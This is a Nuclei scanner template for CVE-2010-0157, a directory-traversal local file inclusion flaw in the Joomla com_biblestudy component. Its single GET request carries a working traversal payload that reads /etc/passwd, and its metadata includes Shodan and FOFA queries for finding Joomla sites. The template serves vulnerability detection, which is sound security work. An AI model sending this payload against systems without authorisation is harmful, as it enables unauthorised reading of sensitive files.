id: CVE-2010-0157

info:
  name: Joomla! Component com_biblestudy - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Bible Study (com_biblestudy) component 6.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter in a studieslist action to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/10943
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0157
    - http://packetstormsecurity.org/1001-exploits/joomlabiblestudy-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0157
    cwe-id: CWE-22
    epss-score: 0.06394
    epss-percentile: 0.91137
    cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009e59b5b5ca811e9f9969738e1d5c1d3aa902504fb5e886b03c1d4f9546d30e7202207b7311b2c9573f752abb97d37cb89b2eb50a9b8c8914af14f9fd2e3c5e7f22ee:922c64590222798bb761d5b6d8e72950